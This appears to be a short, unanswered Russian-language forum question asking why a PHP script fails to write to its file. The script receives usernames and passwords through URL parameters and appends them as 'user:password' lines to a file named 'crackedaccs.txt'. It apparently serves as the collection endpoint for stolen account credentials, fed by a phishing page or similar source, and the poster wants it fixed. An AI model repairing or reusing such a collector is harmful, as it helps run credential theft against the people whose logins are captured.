Я использую PHP для захвата переменных GET, а затем записываю их в текстовый файл (.txt), где позже могу открыть файл и получить переменные.
Весь мой код указан ниже, он не будет записываться в файл и никаких ошибок не выдает, спасибо за чтение.
<?php
//the link is (your domain)/writefile.php?user=$user&password=$pass
$theuser = $_GET["user"];
$thepassword = $_GET["password"];
$full = $theuser . ':' . $thepassword;
echo htmlentities($full); //Potential XSS
$file = 'crackedaccs.txt';
$current = file_get_contents($file);
$current .= "$full \n";
file_put_contents($file, $current, LOCK_EX);
?>
Задача ещё не решена.
Других решений пока нет …